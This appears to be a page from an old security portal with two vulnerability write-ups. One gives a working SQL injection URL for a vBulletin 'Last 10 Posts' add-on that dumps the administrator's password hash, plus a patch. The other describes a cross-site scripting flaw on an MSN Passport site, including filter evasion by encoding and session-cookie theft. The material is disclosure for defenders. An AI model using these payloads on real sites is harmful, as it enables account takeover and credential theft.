DokFLeed.Net --Security Portal

Information VBulletin PHP Forums, enable add-on features using what is called "Hacks" which are pieces of codes that extend the forum functionality. One of the famous hacks, is scrolling the last 10 posts through an IFRAME embedded in the forum header template. Discussion the hack last Posts, started with version //...........Last X Posts v1.0.5........... //......by Kevin (kevin@tubescan.com)...... it had a file called "last10config.php" , with the line # $showforumtitle = "0"; // shows the forum title (linked to that forum) next to the thread title which called this part of the script # if ($showforumtitle == "1") { $ftitle = ",forum"; $fsel = ",forum.title AS ftitle"; $wheresql .= " AND thread.forumid=forum.forumid"; } # Later on on other versions such as //...............Last 10 Posts v2.0.1........... //.........by Kevin (kevin@tubescan.com)........ //.....Edit by lad_pc (lad_pc@hotmail.com)...... the options were removed, as well as the part of the code on the corresponding file , yet the SQL statement remained the same as follows # $query = "SELECT thread.lastpost,thread.title,thread.lastposter,thread.r eplycount,thread.views,user.userid,thread.threadid,thre ad.forumid$fsel,thread.iconid FROM thread,user$ftitle $wheresql ORDER BY thread.$ob $obdir LIMIT $maxthreads"; which leaves both $fsel and $ftitle for SQL Injections Exploit any none patched website running any version of VB with this hack is vulnerable as follows #/last.php?fsel=,user.password%20as%20title,user.%20%20username%20as%20lastposter%20FROM%20user, thread%20%20%20WHERE%20usergroupid=1%20LIMIT%201/* This will output the VB Administrator Encrypted Password, with some cookie editing you log on to the VB again as the OWNER :) quite annoying Solution for easy solution if you do not want to mess up much just add these 2 lines before the SQL query in file "ttlast.php" it should look as follows $fsel=""; $ftitle=""; $query = "SELECT thread.lastpost,thread.title,thread.lastposter,thread.r eplycount,thread.views,user.userid,thread.threadid,thre ad.forumid$fsel,thread.iconid FROM thread,user$ftitle $wheresql ORDER BY thread.$ob $obdir LIMIT $maxthreads"; Save file and you are patched

Posted by DokFLeed on Monday, May 27 @ 03:46:04 EDT (2557 reads)
(Read More... | Topic Articles | Score: 4.25)

Topic Articles: MSN Passport HiJack

Microsoft Passport Microsoft Passport: "A single name, password and wallet for the web". This means that using the same credentials you can access your e-mail (Hotmail), instant messenger service (MSN messenger), calendar (task manager, reminders and so on), and loads of other useful services. All these services are centralized and authenticate with a central system called MS passport. Of course as much as any authorised user can browse without supplying a password from a service which makes use of the Passport technology to another, a cracker (malicious hacker) can do the same without much problems once he gets to look like the authorized user. This kind of service is intended for personal use, so people certainly wouldn’t like others to read their e-mail, or view their daily schedule. Implementation Microsoft is trying to build everything around their Network, using Passport authentication. This is complaint with the .NET framework, which allows everything to be seamlessly integrated so that users can jump from one service to another without any problems. As currently implemented, users can authenticate to Passport via a number of ways: Hotmail and Passport sites MSN messenger MSN Explorer Outlook Express Other MS applications. Fooling the system JavaScript allows users to set and retrieve cookies. This is very useful for normal HTTP sites as well as Web Applications. However Web Applications need a lot more control over normal websites. This control is normally achieved through filtering of possibly malicious code in the HTML. Users do not need permission to send e-mails to authenticated users, giving them the possibility to post data to an authenticated user’s mailbox. This is obvious to some extent, since we are talking about e-mail. No one needs authentication to send an e-mail to a Hotmail account. Therefore the e-mail sent to the Hotmail user has to be treated as non-trusted content. Hotmail takes very good care to filter out JavaScript, ActiveX and Java applets. Lately it also started checking for images which link to outside the Hotmail account. Having images linking to non-trusted sites means that those sites can easily track the status of the e-mail (if it was read or not). So that a tag in an html mail such as: img src=”http://spam.me.com/tracking.gif" would get filtered by the Hotmail Filtering System. To get around this filtering, one has to just encode the http:// part like &x68;ttp://. 68 is the hex value h, and therefore the Web Browser converts back the encoded value to its original signifier. Of course, the Hotmail filtering system is not working exactly like the Web Browser, and this is where the flaw stands out. However this is not the major issue I am writing about in this document. Cross Site Scripting When a logged in user follows an non-trusted link, the Hotmail credentials do not get sent to the website. The Hotmail filtering system also takes care to hide the URL of the user’s Hotmail account to ensure his privacy (and maybe to prevent other attacks). On the other hand, when a user follows an MSN (Passport and therefore trusted) site from a non-trusted e-mail, the credentials get sent to the Passport site, and no precautions are taken. This means that the Passport authentication is not broken and therefore the different services provided by MS Passport operate seamlessly as described earlier. This also means that if an ASP script which resides on any MS Passport enabled site allows the user to customise the page (even if not intended) such as inserting JavaScript code, the whole system is flawed. In my exploit, a user only needs to click on a trusted link and he (or she) will be sending his (or her) credentials to a remote server. How is this achieved? To further explain the issue, I will provide an example of a flawed ASP script on an MS Passport site: ErrorMsg.asp, which resides on http://auctions.msn.com/Scripts/ This ASP script can be passed 2 (or possibly more) arguments: · Source · ErrMsg Here we are concerned with ErrMsg argument. This argument allows different scripts to generate different errors and display them to the user in some nice html. ErrMsg will usually be filled in with something like “User is not authenticated”. Now what if it is filled with This should be bold. To my astonishment (at the time of writing this is not fixed yet), I got the HTML tag to work, with no filtering from the ASP script. To further illustrate this, the url which is passed is actually: http://auctions.msn.com/Scripts/ErrorMsg.asp?Source=O&ErrMsg=This%20should%20be%20bold. If no filtering is done for JavaScript, we can very easily inject our own JavaScript code to retrieve the session cookie stored in the Hotmail user’s browser. Sadly, lately (during the writing of this document), Microsoft seemed to try to fix this by filtering JavaScript (and embedded scripts) tags and entities. This means when the ASP script is passed the following: · Script · Alert · JavaScript: · And other commonly used javascript methods the ASP script simply ignores the input, successfully filtering common Cross Site Scripting attacks. However Microsoft did not fully patch the issue, so that if HTML encoding were used, the filtering system would not detect the embedded script code, and the code would still be executed. This means that to produce an alert box to display the session cookies, instead of simply using something like: http://auctions.msn.com/Scripts/ErrorMsg.asp?Source=O&ErrMsg= We have to encode the URL such as: http://auctions.msn.com/Scripts/ErrorMsg.asp?Source=O&ErrMsg= To complete the exploit the malicious user has to send a URL, which actually passes the Cookie to a 3rd party CGI script (probably made by the cracker exploiting this issue) instead of displaying them to the Hotmail user in a Message box. The end picture could look very similar to the one below.

Posted by Moby on Saturday, March 09 @ 04:41:25 EST (5681 reads)
(Read More... | 6515 bytes more | 5 comments | Topic Articles | Score: 0)